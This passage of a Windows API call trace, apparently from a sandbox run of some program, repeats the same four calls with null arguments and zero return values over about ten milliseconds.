	[0069.826] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.826] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.826] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.826] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.826] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.826] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.826] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.826] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.826] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.826] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.826] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.826] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.826] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.826] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.826] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.827] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.827] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.827] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.827] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.827] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.827] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.827] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.827] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.827] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.827] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.827] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.827] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.827] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.827] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.827] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.827] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.827] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.827] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.827] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.827] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.827] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.827] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.827] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.827] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.827] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.827] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.827] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.827] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.827] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.827] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.827] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.827] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.827] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.827] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.827] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.827] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.827] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.827] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.827] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.827] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.827] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.827] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.828] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.828] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.828] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.828] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.828] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.828] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.828] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.828] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.828] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.828] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.828] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.828] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.828] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.828] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.828] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.828] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.828] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.828] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.828] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.828] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.828] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.828] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.828] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.828] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.828] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.828] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.828] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.828] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.828] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.828] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.828] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.828] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.828] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.828] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.828] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.828] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.828] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.828] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.828] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.828] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.829] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.829] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.829] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.829] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.829] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.829] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.829] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.829] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.829] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.829] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.829] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.829] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.829] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.829] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.829] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.829] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.829] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.829] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.829] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.829] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.829] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.829] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.829] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.829] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.829] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.829] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.829] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.829] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.829] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.829] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.829] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.829] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.829] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.829] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.829] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.829] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.829] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.829] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.829] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.830] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.830] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.830] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.830] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.830] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.830] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.830] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.830] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.830] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.830] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.830] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.830] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.830] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.830] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.830] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.830] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.830] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.830] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.830] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.830] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.830] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.830] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.830] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.830] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.830] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.830] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.830] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.830] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.830] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.830] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.830] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.830] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.830] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.830] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.830] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.830] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.830] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.831] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.831] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.831] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.831] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.831] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.831] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.831] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.831] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.831] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.831] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.831] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.831] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.831] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.831] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.831] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.831] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.831] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.831] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.831] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.831] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.831] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.831] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.831] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.831] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.831] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.831] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.831] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.831] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.831] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.831] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.831] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.831] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.831] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.832] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.832] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.832] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.832] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.832] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.832] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.832] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.832] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.832] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.832] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.832] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.832] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.832] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.832] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.832] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.832] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.832] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.832] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.832] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.832] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.832] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.832] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.832] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.832] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.832] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.832] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.832] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.832] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.832] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.832] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.832] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.832] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.832] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.833] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.833] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.833] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.833] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.833] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.833] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.833] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.833] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.833] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.833] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.833] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.833] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.833] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.833] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.833] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.833] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.833] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.833] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.833] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.833] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.833] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.833] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.833] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.833] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.833] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.833] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.833] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.833] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.833] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.833] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.833] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.833] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.833] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.833] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.833] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.834] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.834] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.834] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.834] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.834] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.834] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.834] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.834] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.834] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.834] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.834] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.834] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.834] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.834] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.834] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.834] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.834] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.834] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.834] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.834] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.834] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.834] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.834] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.834] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.834] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.834] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.834] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.834] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.834] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.834] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.834] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.834] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.834] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.835] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.835] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.835] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.835] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.835] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.835] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.835] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.835] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.835] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.835] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.835] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.835] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.835] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.835] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.835] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.835] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.835] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
